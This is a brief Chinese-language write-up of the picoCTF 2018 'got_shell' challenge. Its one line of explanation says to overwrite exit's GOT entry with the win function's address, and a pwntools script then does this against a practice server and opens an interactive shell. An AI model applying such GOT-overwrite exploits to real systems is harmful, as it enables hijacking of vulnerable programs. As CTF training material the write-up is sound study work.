picoctf_2018_got_shell
查看保护
可以将一个地址改掉,直接改exit的got为win的地址即可。
from pwn import *
context(arch='i386', os='linux', log_level='debug')
file_name = './z1r0'
debug = 1
if debug:
r = remote('node4.buuoj.cn', 25944)
else:
r = process(file_name)
elf = ELF(file_name)
def dbg():
gdb.attach(r)
r.sendline('0804a014')
r.sendline('804854B')
r.interactive()